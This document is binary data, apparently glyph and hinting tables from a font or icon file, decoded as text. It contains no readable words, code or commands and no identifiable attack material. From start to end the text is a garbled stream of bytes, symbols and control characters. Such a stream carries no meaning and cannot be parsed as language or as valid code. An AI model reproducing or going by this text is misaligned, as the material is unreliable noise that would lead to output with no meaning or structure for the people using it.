+@	++8-&99ha#99rm!99	99 Z *-$9	 &999#!901476 32 32 "=43>54&+"5'&$#"#2#& 462"&4762"$47632#"47632#"47632#"&462#"&4762"&2]Y4"ΐ83J33J3J33J!#%76&$4!&66&$4#&66&$4X6J33%&5L22L5,֍ˈ>5ǆ2$44$&55}L2L2J7J5J5J3P$6J33y#54$&56#2L23     6 E Y e  4  +3/Ͱ2/(3	Ͱ"/f/ ְ,Ͳ, 
+@,2	+,7+@Ͱ@F+Tͳ`TF+ZͰZ/`ͰT+Ͳ
+@	+g+7,%99ZF"99`LWN999T	 99 /45FT999@	 <CLNZ`c$9	%\$9" 901476 32 32 "=43>&+"5'&$#"#2#& %46767#"&467>767#"&47#"&1^X5!Ў8xN""&)GV@?Z>3%T<L&2igh.;)+=)֋>:ʈ
2w')&+,*?TV,t3)a
5g5t-g.Ch"S);;     F Y i }  4  +3/Ͱ/Ͱ)/>Ͱ"/A/ ְͰZ+`Ͱ`~+Ͱ,+9ͱ+6=q +
XgPa>z +
|tPQPa+XWXg+P`Pa+= +XhXg+tut+|{|+tt+||+WXg  #9h9QPa9{|99ut99 @PQWX`aghtu{|................@PQWXaghtu{|...............@Z DGL$9`A"99~pj99%(>$9,)12999 /45y999.e99999) ,9$9>%D999" 901;36&+6#!".546?2576$32;2"3>54.+& #" 3276?6&'&6?6&'&23276?6&'&3276?654&'"&#"ӨEo
	sr8;hP"51f!!"
%&#A! $@ 
&&$B-#!#$(A"#!##2
3m-w7>ʎ
Xh)+1
)p#@
%&k/"'o#A
%%l6
2l%C
&&n	2	-n3
!#l   ~ D X p  4  +3/Ͱ)/<Ͱ"/?q/ ְͰ,+7ͱr+6= +
WVMN>6 +
pmbcpnpm+opm+opm  #9n9 @
MNVWbcmnop..........@
MNVWbcmnop..........@,12<BEY$9 /4599) 7Sj$9<%B999" 901;36&+6#!".546?2576$32;2"36 54.+& #" 232676&'&#"2767654&'&#"ԩFi	
rr8ξ)!51e>3	
"$1	 !" .	35ew6>ˎ4֐);?$&>  ^8#/]0
!    ".   ( 6 $ &/Ͱ/33Ͱ,2/7/8+ 01463!2#!"& 4763!2#!"4763!2#!"&463!2#!"&2$	#..#$2$
"//"#z#$01##1i/%%/0$%/$0/%#..5F0F1".F22R%/0$#..   z
  ;     +\3ͰV2/Ͱ"/9ͰQ/ͳ(Q+2ͰK/}Ͱ/v/ְG2Ͱ5+&Ͱ&+nͰnT+aͱ+I995(+8JWYZ}$9&K{99MQVv$9n9Tr99acl999 9999"%T992,.>ASa$9Q&+BDc$9(EN99GHM$9KIfl999}{99n99vp90143!2#"'&#"2654&#!"'3!264&#"327632#!"%;27>?2576$ ;2#!"3!2>54'6?654/.54?6/&#"&#" >32&+&&d*??*) $&4T짧v&8%vvzP1&&+)>>){&8
$]8^͐Iu,@
UF?;zz.q/(2^7#+~J=*+> 4&$Twv#QP0<+*>7Wq7>{qH
)o'-B;oK0 ƈX]E<2z     
   i w     +?3Ͱ92n/uͰ/Ͱ3/Ͱ,/aͰ{/Z/~ְRͰR6+Dͱ+6RV99DEN999 C93%6DEg$9)/&d$9,*JN999aR_x999{}9ZT90153!2654&#!"3!2654&#!"7;27>?2576$32;2#!"3!2>'6?654/.54?6/&#"&#" 3!264&#!">2&+&6(&22&(6&%32&&6o
$]; ώEs.BFl?XF?<zy-|/)M&&66&&5>7]	5"(V&22&(34&5&%33Wr7>̐ xgIPcf2&7A	;oK3 ŉp'6J33BXaF@2~    	 L Y j z    P   +'33Ͱ"2/3Ͱ/GͰ/@/ ְͰZ+`Ͱ`k+{ ͱ++8Ͱ8+*ͱ+6=
 +
`.ahg= +
 `agh........agh.......@ZJY$9`S9{Gqu$9E99@
"$%@$98:<999*,5999 Z999 *,e$9J$9/5999GE999@:901 2=4#.546?2576$32;2"36 54'6?654/.5&?6/&#"&#" 676&'&676&'&327>.327676&'&%327676&'&73276&'&>2&+&)8(E~'<[6	UCI8w{-x1H#F" DQ" )=^'&#@^"
$ ?"OD
%
#$%A
o"
# #EM! A]
#$%?^E2c	1")
̋:>͌4։xwIG'->	;oK4)Y""#D#0
!,V(?$$#FF2=	0&>$$n# !#A$.
AR&>$$\`!FF,}     N	 L ] m    +'3ͱ"V22/lͰ/GͰa/@n/ ְͰd+8Ͱ8+*ͱo+d@"$%@JNY^l$98<i99*,5g999 OP999 *,Z[$9lJgi$915999GE^99a8c99@:901 2=4#.546?2576$32;2"36 54'6?654/.54?6/&#"&#" ;36&+6#!">32&+&)8;'I%>[6
TF?:z|-q22 
5_	7"-
ǈ7>ʎ4֏ytM|G'-B	;oK0*XFT[`!H;7~   u	 N ^ j {          2=4#.546?2576$32;2"3>54'6?654/.5&?6/&#"&#" 6?6&'&3264&#"76?6&'&32?6&'&32654&"76?6&'&232?6&'&32654&"723276?6&'&>2&+&*µ9XZI$;\7UAI:{|-y2A#!%>$%$A
Q#&44&%2A!#!B&'#A|!#D
&%"BS#&22L2C  %>%&#B&!!A$$(A
O%&22L2A##"

$$%>3_6!2·6=ΏXbwI	D"6>	<qK1.V6
-A$?&&?'"3J32/
#%`'=$#b2
A?)@%$?,#2&%224
 ,`#@'%`2
F@"B
%&?6$2%&221

&`$?"%a,\e"EA5z      Z	 R ` o     v/W/]Ͱ/3Ͱ/MͰ/F/ ְ	Ͱ	T+ZͰZp+xͰ2x+Ͱ+;Ͱ;+0ͱ+ZTP$9pac$9xMyi$9K$99@ !(+F$9;A9>990299 WvX|$9]S99@
 !+2^ek$9P$9699MK99;99F>901?"&546?2576$32;2327>54'6757'.54?'".#&#&#"  676&'&7676.327676&'&73276&'&7676&'&>2&+&ըxʹ5ʹH;$ c~JI'Q\7	YF?={|-x2 #H"#G J!8N=#
"##@<# M8v%$###E2c	(,"0/Џ9>̍	'&2(
[dyv
R|G),S<pL4,*#"#I#$!7M. "!#D!	$3$<N$##C '\a GK,~   	 L ] o  .   +'3Ͱ"2/3Ͱ/GͰ/@/ ְͰM+SͰS^+eͰep+xͰ2x+8Ͱ8+*ͱ+6=T +
e.fml eflm....flm...@MJ999SZ99e^GU999pE9x99"$%@z$98:<999*,5999 9 *,XZj}$9J$9/5999GE999@:901 2=4#.546?2576$32;2"36 54'6?654/.5&?6/&#"&#" 676&'&3276&'&327676&'&>2&+&*9(I(<[7TH?<||-u2Q##%?
&%#A!F
#$%CC
!	
$$%B~3c
$0!,
̋:=͍5֍yuM}D$4A
;oK0)n3
,r(@$$0	?'=%#H:91r&>$$A]a HI)y     	 G W h {    7   +'3ͱ"22'+R333ͰͰ/Ͱ/BͰ/;/ ְͰU+OͰH 3NͰO+Ͱ+4Ͱ4+*ͱ+6=k +
zr? +
|zr= +
.rsr+zyz+rr+=) +zz+++++yz  #99sr99999 @rsyz|.................@rsyz|................@HE99U99O@BPai$999"$%;$94799*,99 H999'S99@	 *,]d$9E$9099B@99499;7901 2=4#.546?2576$32;2"36 54'6757'.54?/&#"&#" 6?6&'&6?6&'&3276?6&'&6?6&'&3276?6&'&3276?6&'&>;&+&)8ξ'E'Q	[K:<|{-w/@  #B%$%A-'>%$'@!   %$'A !$@##'C(D"
%&%?!!!
&&#@3g#0"(
ǈ7>ʎ4֋xuT'o*)U<oL4)u/#%q!B
&&j
!'n%?

#&l3
.p"B
%&l/"'o"A
&&k<0m(?%$o0
.o#@%%q3ZdHE0 	  	 M Y c p }    , n  +hͲ  +&Q333Ͳ!W222/Ͱ]/3bͰ2u/	 33{Ͱ/3Ͱ/HͰ/A/ ְͰN+Z2TͰ_2T~+dq22ͱkx22+2Ͱ2+9Ͱ9+*ͱ+NK999~H99F9999!#$A$99=99*,5999 {
 *,$9K$9/5999H9F9999A;901 2=4#.6?2576$32;2"3>54'6?654/.54?6/&#"&#" 32654&#"3264&"%32654&#"32654&#"32654&#"2654&"2654&">72&+&*µ9Ev,AFm?UF?;zz-}23%&33&%34$&33L2V$&66&#5$'56&$4#&66&#5Y5J33J54L22L4I2^8!,7=ΏwjMPcg2+1B	<oK5-&55&$44X$42L22'4%&77^&2&%55#3%&771&55&$44X$43%&22xW_!H:8~     	 M [ m y    +'3Ͱ"2/3Ͱ/HͰ}/A/ ְͰN+SͰS\+bͳtb\+nͰn/tͰb+9Ͱ9++ͱ+NK999n\H99tFfh_$9bz9"$%A}$99=99+-6999 \b999@ +-PXfhnqt$9Kv$906999H9Fz999}9A;901 2=4#.546?2576$32;2"3>54'6?654/.54?6/&#"&#" 2654&'&'32654'&'&'32654'>32&+&)8I}'=[7UH?:z|-w2yYVJ %+I?giUGB?I&2=,):c1F8`
7#1̋:=͌zwN{E.-A	:nI1*=VU>)%,/-igX}]B	:d5t)::)Di U[] H<2z      	 Y k {    4  +3/Ͱ/Ͱ2)/Ͱ"/TͰ/M/ ְͰl+rͰr+ͳ+|Ͱ|/Ͱ&2+EͰE,+7ͱ+6=q +
kycsdcs+kjky+crcs+= +kzky+jky  #9z9dcs9 cdjkrsyz........cdjksyz.......@l WZ_$9rT"99|R9999%99($9)12/$9,EI9979B999 /45999.w999) ,79$9%W$9" >B999TR99MG901;36&+6#!".546?2576$32;2"36 54'6?654/.74?6/&#&&#" 3276?6&'&32?6&'&32?6&'&>;&+&32?656&'"&#"ԩE
rr8)Fz'B\5UK9;{y-v2h! !
%&#AA< 
&&$A+""	7#$(A~5bHc6#-E
:"#2
3BXw6=ˎ
5֋zvI}C,/A	;mJ1*+2
(p#A
&&kECm#A%&l1Hm%B
&&n1Ya"f0<2}SEEo3
!"m   	 Z k } 
 4  +3/Ͱ)/Ͱ"/UͰ/N/ ְͰ+FͰF,+8ͱ+6>@" +
jibc= +
|{tu bcijtu{|........bcijtu{|........@@)/12NX[l~$9,FJ998:C999 /4599) 8:gy$9%X$9" =C999US~99F99NH901;36&+6#!".546?2576$32;2"3>54'6?654/.54?6'.#"&#" 3276&'&23276&'&>32&+&ԩFh	
rs8F'<[7	"}<:z|-z2` A
#$%A
"=
$$%@
5c	7"-3w7?ˏzyM{G*+A	;oK0*//	C&?
##Q3.
Ch'>
"$,[`"IC/~       )  /*/ ְͱ++ 0146$; 2#"$&732>7$ 'xzX͜wai]uy^hxzؒUIy6S   ~	{  ; w     +]3ͰW2/Ͱ#/9ͰQ/ͳ)Q+3ͰK/oͳzoK+m3k/ְͰ6+'Ͱ'}+fͰT bͱ+GI996)-8JXZ[o$9'K9TMWkmxz$9}9bd9 99999#&93/>ATbu$9Q'-BDd$9)EN99GHMr$9KIf}999zx90153!2#"'&#"32654&#!"3!264&#"27632#!"%;27>?2576$ ;2#!"3!2>54'654.#"&#" 632&+&$s*?@)( $%4Svwv&8)vvzP0P+)>>)l&8
$^8^̐-zYq}/)s6#%]&<+)? 6LSvw6$P(&1<V>6Wr5=ʎwarϕXA Ɔmad     
yw   U b n    +=3Ͱ72Z/aͰ/Ͱ1/mͰ+/NͳeN++L3Jo/hְFͰ4 Bͱp+h4j9BD9 1$4BD$9m(-Rj$9+)Fh999ec90153!264&#!"3!264&#!"7;27>?2576$ ;2#!"3!2>54'654$#"&#"3!264&#!"632&+&&%33%&8&&23%&7z
$]:`͒/{)>&&56%%4l4"'[(6L67$2L56Wr6=ʏqeA~ J2L6hݞeX    u  1 =    +/Ͱ(/3<Ͱ#/ͳ4#+3>/ ְͰ7+Ͱ	 +Ͱ+/	ͱ?++24<$9799	9 (/	 999<999#799429013!2>54'654$#"&#" 46?6$3232#!"&632&+&-yz1㶲I ˎn7!,fo̘E(⹅MPˌj۞ca     y < I X h |   =   +'33Ͱ"2/ͰE2/Ͱ/7ͳ7+533/ ְͰ=+2BͰJ PͰBY+}+ ͱ+/Ͱ +ͱ+6= +
yxqr qrxy....qrxy....@=:I999J9}Y7Rci$959$9$%3$99+-9 i}99FN99999 +-Uv$9:$9/999901 2=4#.546?2576$32;2"3>54'654$#"&#" 676&'&676&'&327>.23676&'&%327676&'&7327676&'&632&+&)8.~2=# E" CQ!!$Bi('#?k"
# @"O #E#$%@o$$ #ELB
i%$%>inn7#1̋6>ʏv`ɗF*_#"#E 0	"*L'@#$$GF3.='=#$y'" #D 9	-L%?#$jޜca     Mv > O Z    +*3
ͱ%H22/3YͰ/9ͳR9+735[/ ְͰT+1Ͱ" -ͱ\+"@
'(5<@KPRY$9TV9-/9 
+AB999 -/LM$9Y<V$91T999RP9012=4#.546?257>32;2"36 54'654$#"&#" ;36&+6#!"6 &+&Pi8~tξ&210
k:7!/iV
ȉ7ri>͎

/fvD)ZCSjܞ_a     u	 = M Y j {        2=4#.6?2576$32;2"3>54'654$#"&#" 6?6&'&3264&#"76?6&'&32?6&'&32654&"76?6&'&232?6&'&32654&"723276?6&'&6 &+&¶8-wP29#!%>$%$A
Q#&44&%2A!#!B&'#A|!#D
&%"BS#&22L2C  %>%&#B&!!A$$(A
O%&22L2A##"

$$%>2o:6"-7>ϐtcșcWE.T6
-A$?&&?'"3J32/
#%`'=$#b2
A?)@%$?,#2&%224
 ,`#@'%`2
F@"B
%&?6$2%&221

&`$?"%aoߝkZ    	{ ? N \ n ~    J//3Ͱ/:ͳ:+836/ ְ	Ͱ	+2Ͱ+2Ͱ2. Ͱ/.ͱ+	@:=@HOU]hoq$989@	 *6w$99.09 J@  *0KRXz{$9=$92999901?"&546?2576$32;2"6?>54'654$#"&#" 676&'&776&'&327676&'&7676&'&327676&'&632&+&խyϷ8	жL	Sфށ.{2"$I#$D"DB	LE""$DQ!I>"
$"$Em7"(4
͐<?Ғ K%eyƜE)!"##I"%":JK
"$! H%'%Nz$##$Dmd^    v = L ` r ~   +)3
Ͱ$2/3}Ͱ/8ͳu8+634/ ְͰ>+CͰCx+0Ͱ! ,ͱ+6= +
_^WX= +
qpij WX^_ijpq........WX^_ijpq........@>;999C9!@&'48EMasu}$9xz9,.9 
*9 ,.H\n$9};z$90x999us9012=4#.546?2576$32;2"36 54'654$#"&#" 676&'&23276&'&32676&'&632&+&Pi8ξ'-}2IE!D

'&#@
	&E#$'B"
2	&$'?k7!-iV
ȉ6>͎

/saϖE)@#$c#@%%!F#@%%[:2	"c!B%%kڜda   s < M ^ q    W   +(3
Ͱ#2S/3YͰ2/3Ͱ/7ͳ7+533/ ְͰN+UͰUr+xͰx+/Ͱ  +ͱ+6= +
L\DV=] +
phy=q +
DEDV+LKL\+DUDV+= +L]L\+hihy+pop+hxhy+= +pp+++++KL\  #9]9EDV9op99ihy99999 @DEKLUV\]hiopxy........................@DEKLV\]hiopy......................@N:=$9U_9rd9x799 @%&35$99+-9 
)I999S}9Y9  +-Z$9:$9/9999012=4#.6?2576$32;2"36 54'654$#"&#" >?6&'&32?6&'&3276?6&'&6?6&'&76?6&'&2?6&'&632&+&Pi9̾(,y1?$++
%&"B""<
%&$@ !# 
&%#C"#$?%&#B0!!"%$(?#"E
&&%?
 $k3"'iV9=̐
0gnE*s1	' l(@%#o1Fk%C
%%p2
.l(A%$o3
 ,l(>%$o1	-p%?
&&k2Bn(@%&mgߜfW  	  z ; F P \ g s }   Z  +TͱO22k/qͰK/3PͰ@/'w333EͲ"{222`/	3eͰ/3Ͱ/6ͳ6+432/ ְͰ<+G2CͰM2Ch+Q]22nͱWb22n~+t2Ͱy2+.Ͱ *ͱ+<9999nh699~49999$%2$99*,9 e`!9 *,$99$9.999901 2=4#.546?2576$32;2"36 54'654$#"&#" 3264&"3264&"%32654&#"3264&#"32654&#"264&"264&"6 &+&*8).~2#%32L2$&23J"6#%66%#64%&55&$55$%66%#6YJ32L44L23J5il:6!/
̋:=ˎ5rdȘE*#2L22}L2L5^%98&#55\$43J55%65&#55/!2L22W$42L55\lޞ^f ~ ; J [ g s    +'3Ͱ"2/rͰ/6ͳj6+432t/ ְͰ<+AͰAK+QͳbQK+\Ͱ\/bͰQm+.Ͱ *ͱu+<9999\K699bVXN999Q49$%2hjr$9mo9*,9 KQ999@ *,>GVX\_b$9r9do$9.m999jh901 2=4#.546?2576$32;2"36 54'654$#"&#" 2654&'.'32654&'&'&'32654'632&+&)8ξ).~1y[~WK!!&,H?fg2#J@	>Gt<.):c1jk6!-

Ȉ5=ˎ
5v`͗C*<XV>)'#+0,ee+x3_@>D+99+Ak Uijڜe`     y J ] o   D 4  +3/Ͱ)/Ͱ"/EͳE"+C3@/ ְͰ^+dͰd+;Ͱ, 7ͱ+6= +
\kTeUTe+\[\k+TdTe+== +\l\k+[\k  #9l9UTe9 TU[\dekl........TU[\ekl.......@^ HKP$9dE"99,@%12@Cpy$99799 /45n|$9)@	 79i$9%H$9" ;999901;36&+6#!".546?2576$32;2"36 54'654.#"&#" 236?6&'&6?6&'&32?6&'&3276?6&'&632&+&ըEz	vr8),zZqvN2h" 	D
'%#A!!#@ 
%&$A."!?"$(B"#
'%$@j4"12LJx7>ˎ
6tarϖY`VF)+5<q#A
&&k0#'o(@%&m	3	@q#@
'%j1	(o#A%&mfݝeY      v K [ m y 5  +30Ͱ*/3xͰ#/FͳpF#+D3Bz/ ְͰL+RͰR\+dͰds+=Ͱ- 9ͱ{+6= +
R.SZY RSYZ....SYZ...@L	 I$9R99\F#99dD9-&23Bfnpx$9su99;9 059* 9;Wi$9x&Iu$9# =s999pn901;36&+6#!".546?257>32;2"3>54'654.#"&#" 276&'&327676&'&632&+&ԧDo	
rr9~s-}Yq1N!C
"#%A
B 
$$%@
l6"-/AXy9qj<̌uaqΖYE)*.
@%?#$KB@-p%?#$fڛe`   hXO 	  O  /(Ͱ/Ͱ/53ͰJ2P/ְͰ+Ͱ+.Ͱ.9+!2DͰ2Q+999.J99D=9 (9 >C$9014632#"&264&#"3276&'&#"'&'&547676327>'5'.'.#"rPOqqOPR<<)*eD$~P;(2Q2'@*/dS0 &	+!m@Q}#E8rrrT<R<{`2;)	D,<X=28'8 91_~        8 S    +'>33Ͱ"2/30Ͱ/3T/ ְͰO+HͰH++ͱU+O69:$9H3>999$%0C$9 9@	 +:CHKOR$906999901 2=4#.546?2576$32;2"3>54.+& #"  327654&"4&"'&#"*8뇎#42)-4Lx6L2u'(
̋;>Ό)L$%2v&22&Wv    : g    +*3
Ͱ%2
J ?Ͱ/32Ͱ/5h/ ְͰ;+MͰMG+BͰB"+-ͱi+;8999GM5?[e$9B99"'(2$9 J+9
@
 -;BDGM[e$928`c$99012=4#.546?257>32;2"36 54.+& #" 32 54&"#"&5467?654/&#"Pi8}sξ'"52wv6L7ljrS,E($%4%iV
Ȉ7ri=Ύ

/Տ*wx%66%kk`*%(#(6L&        9 W    +'E33Ͱ"2/31Ͱ/4X/ ְͰB+HͰH++ͱY+B7:$9H4S999$%1N$9 9 +AIKS$917999901 2=4#.546732576$32;2"3>54.+& #" 32?32657654'&#")8Tk"51)'v2&%6x@B&'
ˋ==͋kS)(zX&66&v11*&       0 _   +Ͱ /-3	Ͱ'/1/ ְͰ+ͱ2+	999 9  99	$*999'%901476 32 32!& 7!>54&+"5'&$#"+2^Y4#VֶЏ8 )֋
2֋͋==      A /Ͱ//ְ
Ͱ
+ͱ+
999  $9014632"&264&#"rPOqqR<<)*rrsT<R;   z   //ְͱ+ 013!2654&+654'&#"54&#")2))! d))))'c)*          /ְͱ+9 0132764&"4&"'&#" %& 0Hq3H3q"$2>#H1p$00$Ap1    nrG   + k /!Ͱ/Ͱ/Ͱ(2",/ְ
Ͱ
+Ͱ+Ͱ!2-+
999 " 	$999%9014632"&264&#"265!2654&#!!264&#!"rPOqqR<<)*!.!1! 5rrsT<R;!!" # 0         	   - P \ l {    +Ͱ/x3Ͱq2;/NͰ[/U|/ ְͰ.+8ͳ&8.+Ͱ/&Ͱ8Q+XͰX>+Jͳ]J>+eͰJm+uͱ}+ 9.!)99Q85N99X;9>CM99mJb9ue99 26@EF$9.8>J$9N;)jk999[&]99U!be$901476;2+"&4763!2#!"&47632#"/&;26'&54632;27654$ 5462"&4?632#&476;2+"&+'34&'8c''67&j&7'&3'#9
U䞟U<6L88L6X'(5%(3('78&%4{*3'&66%4L778)&(37nhg
q&88&&88'5')2+3'&66   es   4 B R q   +Ͱ'/2Ͱ@/9S/5ְ=Ͱ=C+KͱT+=52'99C*9K.9 '!,-9992Q999@C9999HK$90154763!2#!"&47632&/;27>32;2'&$#"54632#"&4?632&-(89'\(9*%Q 0st064'(66('4b)'2!$C^*4'&99pT&%fxxf(87))67&6)*<    87   3264/!264&'!7654&#"#$2p$//$Ap2$!& 0Hp3H3q"$2  	 ( U  % 5 K ] m    W 2/$333Ͱs2/ְ&Ͱ&U+^Ͱ^+ͱ+&79U0]99^	9?ho$9 01&76?3'&'&'65'&'&'&"76767676&&76?3'&'&'65'&'&'&#"76767676&&76?3'&'&'65'&'&'&#"76767676&(=O8qH#!AN,/j._E8O"8& y<O8qH#"?P-/k-^E7	R7'yB<O8qH#"AN-/j.^E7	R8& yBrO>N=3hG# n
DJH!!/#K
-BsO?M;5fH# 
oDKH!"0$I	-psO?M;5hG# nDJH!"/#K
-   
H   V e r Y [/cͰ/Ͱ/Ͱ4/&3qͰT2-/Qs/t+ 4 9>$9q*0'ln$9-+D99QOf990153!2654&#!"3!2654&#!"75;27>?2576$32;2;2'&'6?6&#'&?6/&&#" 3!2654&#!">&+&6'&54'?&7)%22%?&5	&Z9g)#t,B#Z_u2ˁ$%44%;&58i8"3c$22$'56&&6&%22Sj5=nZYhF
) >
+1 &6&%228\d
F8:y     P &  /	'/ ְͱ(+ 013264&#"&546332?654/&"z~+*s#* >- ~{.>)|"-%#,!     u[ - / /./ ְͰ+ͱ/+ (+$9 0132$54&"#"&5467?654/&#"  3J6ݝکp):G!(6) &66&ݝ'"$88.)5&'&#     9{   //+ 017!36765&'&"!1#n3$""$2qA$/$2s!$2%& 0Hs3      ES  ! - 7 ./ ְ
Ͱ
+ͳ(+"Ͱ"/(ͱ/+("999 01467>7"&4676767#"&47#"&Q%
',J[^M4&IC>O)3nlk0=,.=),#.1+B^^.{4bA;g7x/nKEp#W,;;    	_  < f /Ͱ/Ͱ"/:Ͱ4/)=/ְͰ7+&ͱ>+7)-9999 99994:&099)-9013!2"'&#"3264&#!"3!2654&#"327632#!").@?^&(9Zw}|(9'Z}}{U7('-.??.(9	'@/.=7&(X86%{|U-)4!@\>8     
6   : ^ l {   8  +03$Ͱ)2/3Ͱ2H/ZͰj/c/ ְͰ;+EͰE_+gͰgK+UͰU|+ͱ+ 9; 999E=99_%B99g4ZH999K)3N999USm99|-qy999rt99 $839'4=?CMPS$9;EKU$9ZHy99jm99cqt$901476;2+"&47632#"/&4763!6!2#!"'%#!"&;26'&54$32;27654.#"54632#"&4?62#"&46;2+"& $'+::++@c$'*:)'$-LQ'+==++=cBf eBf쁂f<.-;;-.<X<")+79*+>>++8(">+.>A~+#'-<"-8;*+>>x{z{ee9.;<-.;;("=+. ;+>>+,@>     
   8 [ g w   6  +03#Ͱ*2'  +/3Ͱ{2G/YͰf/`/ ְͰ:+DͰD\+cͰcJ+TͳhTJ+pͰTx+ͱ+ 9:999D9\5AY999c'G99J1MX999xT.-mu$9 #>BLOP$9:DJT$9YGu99fh9`mp$901476;2+"&47632#"/&4763!2%63!2#!'!"&;26'&54632;27654. 5462"&4?632#"&46;2+"& -+89*+>_ +.JJ'#% +W `+==++=d>	__Be =V==V=.,:%%*88++==+*9,9+-=?q-  FJ* <V=/=yww}eeB+==++==- =+-;+9:*+?=    >  / a /Ͱ&/0/ ְͰ+*Ͱ*"+Ͱ+ͱ1+*.9"9999 & $90154674632#".732654&/&54&#"~qq|ѓgYH64IXcO"O눔֒d/z4DD4/   0  , / +ͳ +ͱ+ 99 0152654&'4&#"ܢcbrqe
     >  / B ~ /Ͱ&/C/ ְͰ+*Ͱ*@+8Ͱ8"+Ͱ+ͱD+*.099@298&$9"39599 & 2<$90154674632#".732654&/&54&#"2654&'4&#"~qq|ѓgYH64IXcSܢcbO"O눔֒d/z4DD4/erqe
     " ; O c x  S/]Ͱ&/2Ͱ/LͰD/sͰj/Ͱ//ְyͳdy+Ͱ/dͰ2d<  Ͱ /<Ͱ# 6Ͱym+Ͱ+ͱ+#!9d<P96a499my@	&2BGLSV_h)s$99 &]PVYa$92#),4$9L99D	 G999sBF999j!9dhl$999901!27>54'>54'654'&!"32654&#"#"'>'.747>?327"&'&32654&#"#"'&#"4767!27#"'&'&4767632#"'&'&J{iof~!yKb)$$nFqF3<W	;$aO	")*"mo&0(^R10$
HW*r||w(Y.Δ--͒-G2_fE#wMSZF  Y5,EcM:9|KUUK&  2
(	
7""AFFA(11&4i %!%%!%+(++(+"+)++(,         //ְͱ+ 0132732654&#!";")))((bL>)*2))(b   N   7?7673265&'&'1$#q3%#4p$%1&& $3pA$00$p1$%          % 5 B /Ͱ!/6/ ְͰ+
ͱ7++0$9 ! 
,4$90146$32#"$&732>54'&#"76/&6&yzz䜛zyޡ_yݠ_CZZVzz䛜yy_y`

	        % 6 B /Ͱ!/7/ ְͰ+
ͱ8+&+$9 ! 
*/$90146$32#"$&732>54'&#"47%6#"/&/&yzz䜛zyޡ_yݠ_\	g	zz䛜yy_y`ށh        % 6 B /Ͱ!/7/ ְͰ+
ͱ8+',$9 ! 
(4$90146$32#"$&732>54'&#"%&6#"'yzz䜛zyޡ_yݠ_^
Z
h	zz䛜yy_y`l	h          / D   +Ͱ/0/ ְͰ+	ͱ1+/'$9 	 #($9014$32#"$&732$$ 	62/&&bМzz䜝yN  


cz㝜yz󳱡D\XYY        % 6 B /Ͱ!/7/ ְͰ+
ͱ8+&2$9 ! 
.3$90146$32#"$&732>54'&#"4?6?632'%&yzz䜛zyޡ_yݠ_

g	
zz䛜yy_y`q
h
         % 6 B /Ͱ!/7/ ְͰ+
ͱ8+61$9 ! 
)5$90146$32#"$&732>54'&#"632&yzz䜛zyޡ_yݠ_e	
h

zz䛜yy_y`]

	h
	
      " 2 G   +Ͱ/3/ ְͰ+	ͱ4+$,$9 	 %0$90146$  $&732$54.#"%&6?6#"'{8zzz_zyݡ`N



yyyzyޡ__ފYY

         / F   +Ͱ/0/ ְͰ+	ͱ1+!&$9 	 %-$90146$ #"$&732$$#"476'{8{{㜝z꣢YYYzzzzD



       c% . S  /7Ͱ+/2ͰD/	ͰK/T/ ְ/Ͱ/+Ͱ>+ͰA+ͱU+/$&+,4K$9 79FH$9>	;D$9 7&99+;92-9999D/ 4>F$9	HNQ$9014676$3232"&547#"&547&'+5.73273273265>54&#"654&#""&#")*OFwZd.mm] S%}	OC|bBb[@JYJ	ܜ~ `=_d7BMnnM]@2.Wǀ$wbL[+O/'-Е     e   ' 3 ? M [ e s     %/<p33ͱ7i22/c~33ͱ^w221/J33+ͱC22/X33ͱQ22/(ְ.ͳ".(+Ͱ/"Ͱ.\+aͰa+Ͱf mͰ Ͱ/ͱ+(%99."+14999\8@N$9f9_c999aGt99mU999{9 01463!2#!"&463!2#!"&4632#"&4632#"&463!#!"&463!2#!"&463!2#!"&462"&46;2+"&463!2#!"&46;2+"&4632#"&2+a+21,+22+<+33++2i;#)31+%9/"*42,$-i4*^9%g,2;#*32+g%9Q3+a$:9%,2:H:9J93**31,+2]:$G#.-$%9/;#"0.$%9$/#+33+$.2$//$,11$..$+32z#;9%,24%99%,23%9^*43#;9%,24d$.0"*43"11"*33%98&,22g"10#+23g#;:$+34d#/.$+33      7 B L X e p z U ]  +cͲ5  +J3330ͲE}222V/QͰA/x3<Ͱt2o/jͰ/)3	Ͱ#// ְ-Ͳ- 
+@-3	+-C+Hͳ?HC+8Ͱ8/?ͰHY+`ͳT`Y+MͰM/TͰYg mͰ`{+ͳw{+qͰq/wͰ+Ͳ
+@	++8-&99C<A99?@EK999HFJ99YMQV99Tg#]c$9`jo99{qty99wux}999!~$9	99 j *-$9	 &999#!901476 32 32 "=43>54&+"5'&$#"#2#& 47632"&462"&47632#"&47632#"&47632#"4762"&462#"&2]Y4"ΐ8K#%33J3\3J33J3#&66&$4\$%65&$4-!&66&$L22L4[6J33%&5,֍ˈ>5ǆ2%2L22$44$&55$6J33&6&%55J5J3!$2L23#54$&56     0 < H R ^ m z          2=4#.546?2576$32;2"36 54'654$#"&#" 32654&"2654&"3264&#"64/&#"32654&#"3264&#"32654&"2654&"632&+&26=4&"?654&#"32654/&";264&+"8(.~1I"&23J3\3J33J3#&56%#5F!@D&(6K#&66&$4.4$&55&$4$&22L3[4J33J4hn6"/'6L23J7LG7%#VD'!5BJ4'%66%&8ˆ6>͎2y`ɖF,!2%&22]&66&$44#2L56'F9NA5B#4&%55[$43J44"2%&23^&66&$44jޛd`%22%&67%4%%&6(C7&$E5{&6L56  	  z ; G Q ] j u    h  +bͲK  +'333PͲ"222V/[Ͱ@/z3FͰ2n/	3sͰ/3Ͱ/6ͳ6+432/ ְͰH+MͳCMH+<Ͱ</CͰMR+Yͳ^YR+eͰeq kͰk/qͰY+ͳ}+vͰv/}Ͱ+.Ͱ *ͱ+<9999H@F999CEJP999MKO99^RV[99Yk6bh$9ens99v4z999}999$9$%2$99*,9 PK9s!9 *,$99$9.999901 2=4#.546?2576$32;2"36 54'654$#"&#" 32654&"2654&"3264&#"32654&#"3264&#"32654&"2654&"6 &+&*8).~2I"&23J3\3J33J3#&56%#5[#&66&$4.4$&55&$4$&22L3[4J33J4pl:6!/
̋:=ˎ5rdȘE*!2%&22]&66&$44#2L56a#4&%55[$43J44"2%&23^&66&$44lޞ^f   	  	 M W c p |    q {  +uͲ  +&[333Ͳ!a222h/nͰQ/3VͰ2/	 33Ͱ/3Ͱ/HͰ/A/ ְͰX+^ͰN TͰ^r+xͰd kͰx }Ͱ}/Ͱx+Ͱ2 Ͱ+9Ͱ9+*ͱ+NK999X9TQV[a$9}rnh99kHu{$9x99F9$99!#$A$99=99*,5999 
